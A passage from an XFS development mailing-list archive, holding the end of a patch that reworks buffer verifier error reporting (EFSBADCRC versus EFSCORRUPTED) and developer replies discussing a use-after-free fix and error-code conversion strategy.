b/libxfs/xfs_attr_leaf.c @@ -187,8 +187,8 @@ xfs_attr3_leaf_write_verify( struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -213,12 +213,14 @@ xfs_attr3_leaf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || - !xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_attr3_leaf_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { diff --git a/libxfs/xfs_attr_remote.c b/libxfs/xfs_attr_remote.c index 59bb12d..5cf5c73 100644 --- a/libxfs/xfs_attr_remote.c +++ b/libxfs/xfs_attr_remote.c @@ -100,7 +100,6 @@ xfs_attr3_rmt_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; - bool corrupt = false; xfs_daddr_t bno; /* no verification of non-crc buffers */ @@ -115,11 +114,11 @@ xfs_attr3_rmt_read_verify( while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); @@ -127,10 +126,9 @@ xfs_attr3_rmt_read_verify( bno += mp->m_bsize; } - if (corrupt) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } else + if (bp->b_error) + xfs_verifier_error(bp); + else ASSERT(len == 0); } @@ -155,9 +153,8 @@ xfs_attr3_rmt_write_verify( while (len > 0) { if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - XFS_CORRUPTION_ERROR(__func__, - XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } if (bip) { diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index 3136e4f..a4bd69d 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -759,12 +759,14 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_lblock_verify_crc(bp) && - xfs_bmbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_lblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_bmbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -773,11 +775,9 @@ xfs_bmbt_write_verify( struct xfs_buf *bp) { if (!xfs_bmbt_verify(bp)) { - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_lblock_calc_crc(bp); diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index 0c0c5e0..154adb1 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -209,8 +209,8 @@ xfs_da3_node_write_verify( struct xfs_da3_node_hdr *hdr3 = bp->b_addr; if (!xfs_da3_node_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -233,17 +233,20 @@ static void xfs_da3_node_read_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_blkinfo *info = bp->b_addr; switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { + xfs_buf_ioerror(bp, EFSBADCRC); break; + } /* fall through */ case XFS_DA_NODE_MAGIC: - if (!xfs_da3_node_verify(bp)) + if (!xfs_da3_node_verify(bp)) { + xfs_buf_ioerror(bp, EFSCORRUPTED); break; + } return; case XFS_ATTR_LEAF_MAGIC: case XFS_ATTR3_LEAF_MAGIC: @@ -260,8 +263,7 @@ xfs_da3_node_read_verify( } /* corrupt block */ - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_da3_node_buf_ops = { diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 3fe10ea..cede01f 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -70,12 +70,14 @@ xfs_dir3_block_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_block_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -87,8 +89,8 @@ xfs_dir3_block_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index bcb4c7f..dc9df4d 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -208,7 +208,6 @@ static void xfs_dir3_data_reada_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; switch (hdr->magic) { @@ -222,8 +221,8 @@ xfs_dir3_data_reada_verify( xfs_dir3_data_verify(bp); return; default: - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); break; } } @@ -234,12 +233,14 @@ xfs_dir3_data_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_data_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -251,8 +252,8 @@ xfs_dir3_data_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 710f005..8e0cbc9 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -206,12 +206,14 @@ __read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || - !xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_leaf_verify(bp, magic)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -224,8 +226,8 @@ __write_verify( struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index f4260ea..3256756 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -98,12 +98,14 @@ xfs_dir3_free_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || - !xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_free_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -115,8 +117,8 @@ xfs_dir3_free_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_dquot_buf.c b/libxfs/xfs_dquot_buf.c index 6bbb0ff..e089ec8 100644 --- a/libxfs/xfs_dquot_buf.c +++ b/libxfs/xfs_dquot_buf.c @@ -237,10 +237,13 @@ xfs_dquot_buf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_dquot_buf_verify_crc(mp, bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dquot_buf_verify(mp, bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } /* @@ -255,8 +258,8 @@ xfs_dquot_buf_write_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } } diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index b1382d6..c19d84a 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1551,18 +1551,17 @@ xfs_agi_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agi_ok = 1; - if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); - - agi_ok = agi_ok && xfs_agi_verify(bp); - - if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, - XFS_RANDOM_IALLOC_READ_AGI))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agi_verify(bp), mp, + XFS_ERRTAG_IALLOC_READ_AGI, + XFS_RANDOM_IALLOC_READ_AGI)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -1573,8 +1572,8 @@ xfs_agi_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agi_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index d9589b7..0a29d73 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -224,12 +224,14 @@ static void xfs_inobt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_inobt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_inobt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -239,9 +241,8 @@ xfs_inobt_write_verify( { if (!xfs_inobt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 4f29033..de16ed9 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -88,8 +88,7 @@ xfs_inode_buf_verify( } xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); + xfs_verifier_error(bp); #ifdef DEBUG xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index db267c2..7ee4612 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -569,7 +569,7 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { - error = EFSCORRUPTED; + error = EFSBADCRC; goto out_error; } } @@ -578,10 +578,9 @@ xfs_sb_read_verify( out_error: if (error) { - if (error == EFSCORRUPTED) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + if (error == EFSCORRUPTED || error == EFSBADCRC) + xfs_verifier_error(bp); } } @@ -616,9 +615,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c index b59bf14..ebf60ac 100644 --- a/libxfs/xfs_symlink_remote.c +++ b/libxfs/xfs_symlink_remote.c @@ -116,11 +116,13 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_symlink_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -135,8 +137,8 @@ xfs_symlink_write_verify( return; if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } -- 1.9.0 From roger@filmlight.ltd.uk Tue Mar 4 07:04:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A5CB7F4E for ; Tue, 4 Mar 2014 07:04:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EEEF304043 for ; Tue, 4 Mar 2014 05:04:20 -0800 (PST) X-ASG-Debug-ID: 1393938258-04cbb054b636dd0001-NocioJ Received: from a.mx.filmlight.ltd.uk (a.mx.filmlight.ltd.uk [77.107.81.250]) by cuda.sgi.com with SMTP id DHbxrkEsnFVWp56b for ; Tue, 04 Mar 2014 05:04:19 -0800 (PST) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.250 Received: (dqd 24905 invoked from network); 4 Mar 2014 13:04:18 -0000 Received: from montana.filmlight.ltd.uk (HELO ?10.44.0.132?) (roger@10.44.0.132) by a.mx.filmlight.ltd.uk with SMTP; 4 Mar 2014 13:04:18 -0000 Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() From: Roger Willcocks X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() To: Eric Sandeen Cc: Dave Chinner , xfs-oss In-Reply-To: <531506BD.80209@redhat.com> References: <5314E912.9080708@redhat.com> <20140303223617.GL13647@dastard> <531506BD.80209@redhat.com> Content-Type: text/plain Date: Tue, 04 Mar 2014 13:04:17 +0000 Message-Id: <1393938257.8455.6.camel@montana.filmlight.ltd.uk> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-19.el5) Content-Transfer-Encoding: 7bit X-Barracuda-Connect: a.mx.filmlight.ltd.uk[77.107.81.250] X-Barracuda-Start-Time: 1393938259 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145736 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, 2014-03-03 at 16:48 -0600, Eric Sandeen wrote: > On 3/3/14, 4:36 PM, Dave Chinner wrote: ... > > which leaves the rest of the ili_done: code looking a little > > strange. > > > > can you convert that now to be: > > > > ili_done: > > if (iip->ili_lock_flags) { > > iip->ili_lock_flags = 0; > > return; > > } > > /* free the inode */ > > libxfs_iput(ip, 0); > > } > > yeah, I actually had that first. Not sure why I didn't go with it ;) > > (Still looks strange to my untrained eye; "if lock flags are set, unset them and don't free the inode, otherwise free it") > I'd be tempted to write: ili_done: if (iip->ili_lock_flags == 0) /* don't return locked inode */ libxfs_iput(ip, 0); iip->ili_lock_flags = 0; -- Roger Willcocks From bfoster@redhat.com Tue Mar 4 08:01:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6C43B7F4E for ; Tue, 4 Mar 2014 08:01:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 23EB38F8071 for ; Tue, 4 Mar 2014 06:01:51 -0800 (PST) X-ASG-Debug-ID: 1393941710-04bdf05dac24c800001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HfBURaPmKCMwJ491 for ; Tue, 04 Mar 2014 06:01:51 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s24E1kje010679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Mar 2014 09:01:47 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s24E1jRq019486; Tue, 4 Mar 2014 09:01:45 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 5965D12452B; Tue, 4 Mar 2014 09:01:44 -0500 (EST) Date: Tue, 4 Mar 2014 09:01:44 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140304140143.GA51235@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <20140303174425.GB28196@laptop.bfoster> <20140303222946.GJ13647@dastard> <20140304012056.GA29755@laptop.bfoster> <20140304043225.GQ13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304043225.GQ13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393941710 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 04, 2014 at 03:32:25PM +1100, Dave Chinner wrote: > On Mon, Mar 03, 2014 at 08:20:57PM -0500, Brian Foster wrote: > > On Tue, Mar 04, 2014 at 09:29:46AM +1100, Dave Chinner wrote: > > > On Mon, Mar 03, 2014 at 12:44:26PM -0500, Brian Foster wrote: > > > > On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > > > > > From: Dave Chinner > > > > > > > > > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > > > > > a bad CRC, we need to translate that to EFSCORRUPTED so that the > > > > > higher layers treat the error appropriately and so we return a > > > > > consistent error to userspace. This fixes a xfs/005 regression. > > > > > > > > > > Signed-off-by: Dave Chinner > > > > > --- > > > > > > > > This change looks Ok to me, but when I start looking through the users > > > > of bp->b_error, I see examples like xfs_dir3_data_read() being called in > > > > xfs_dir2_leaf_addname() where it looks like an error could bubble all > > > > the way up to xfs_vn_mknod() and its callers. > > > > > > Sure, but: > > > > > > xfs_dir3_data_read > > > xfs_da_read_buf > > > xfs_trans_read_buf_map > > > > > > Which means the patch prevents the EFSBADCRC leaking back out > > > through that path because it converts it in xfs_trans_read_buf_map. > > > > > > > Ok, I see. FWIW, I was also trolling through some of the log recovery > > code and it appears that code uses b_ops for write verification purposes > > only (i.e., crc generation I suspect), correct? > > Yes. > > > > > If the intent is to use EFSBADCRC as an internal-only error to > > > > differentiate corruption from crc failure, why not push this more > > > > closely to the boundaries that we have already defined? For example, we > > > > already convert positive errnos to negative at the internal/external > > > > boundaries. Could we convert those to use some kind of > > > > XFS_USERSPACE_ERROR(error) macro/helper that converts errors > > > > appropriately? > > > > > > That doesn't solve the problem needing an error conversion layer in > > > the first place. The long term goal is to remove the error > > > conversions in XFS by converting the core code to the same error > > > passing conventions as the rest of the kernel code. We manage to > > > screw the negation up fairly regularly because it is convoluted and > > > we cal into generic code that returns negative errors from the core > > > that returns positive errors in lots of places. The conversion > > > surface is just too large to manage sanely. > > > > > > > Well it wasn't clear that the error conversion layer was a problem that > > itself needed solving, but fair enough. ;) If the objective is to move > > away from the positive/negative business to something more "kernel > > native," then building more infrastructure around that is probably not > > the way to go, unless that was actually part of the changeover strategy > > (e.g., if we happened to use something that conditionally negated error > > values to support incremental codepath conversions... as a semi-random > > thought). > > I'm not sure there's any real benefit to adding infrastructure when > doing the conversion. It's a lot of little changes involving pushing > the conversion down from the top layers, combined with converting > interfaces (e.g. bmapi) as they get exposed. > > Some functions will be able to lose variables as the return becomes > a tri-state value (e.g. the btree functions for looking up records); > others will be able to use IS_ERR() for pointer returns, and so on. > This will have a flow on effect on the code in the callers, and so > it really comes down to spending the time to peel back each layer > carefully. > > It's a lot of work, hence the "long term goal" aspect of it. We've > been talking about doing this cleanup for several years now, but it > hasn't yet been done because it's going to take hundreds of patches > to do... ;) > Indeed. I just wasn't aware of that, so I was thinking aloud a bit (along the same lines of pushing the conversion from top-to-bottom). In any event, it's good to have this in mind going forward. > > > > Another thought could be to reconsider whether we still need some of > > > > these extra warnings, as in the xfs_mount.c hunk below, now that we have > > > > the generic xfs_verifier_error() messaging. E.g., if we could remove > > > > those, perhaps we could snub out EFSBADCRC in or around the verifier > > > > after it makes a distinction. > > > > > > Redundant errors aren't s significant problem. It's the lack of > > > meaningful error messages that are much more of an issue. We get > > > more meaningful error messages as a result of the EFSBADCRC changes > > > that have been made, but for the moment that error simply means > > > EFSCORRUPTED to the higher layers. Hence the translation back to > > > EFSCORRUPTED at the (low) layers where the error no longer has > > > a distinct meaning. > > > > > > > Right, the purpose is not to solve the problem of redundant errors. > > Rather, if the only thing preventing the consolidation of the EFSBADCRC > > trap to a single hunk are redundant errors, then it wouldn't be a > > problem to remove those errors and push the EFSBADCRC trap into the > > generic code for the purpose of clarity. > > I don't see much point in trying to have a single trap for EFSBADCRC > because the moment we want to handle one of those cases specially we > are going to have to - as a first step - remove the single trap and > push it outwards to all the places that need it like this patch > does.... > Agreed. I'm less concerned about it with the understanding that EFSBADCRC is not to be forever isolated to the world of verifiers. I just wanted to make sure my point was clear. ;) Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From bfoster@redhat.com Tue Mar 4 09:05:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F7DA7F4E for ; Tue, 4 Mar 2014 09:05:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 56B78304048 for ; Tue, 4 Mar 2014 07:05:16 -0800 (PST) X-ASG-Debug-ID: 1393945515-04cbb054b946160001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id B47uXcKoaJMCKyCY for ; Tue, 04 Mar 2014 07:05:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com 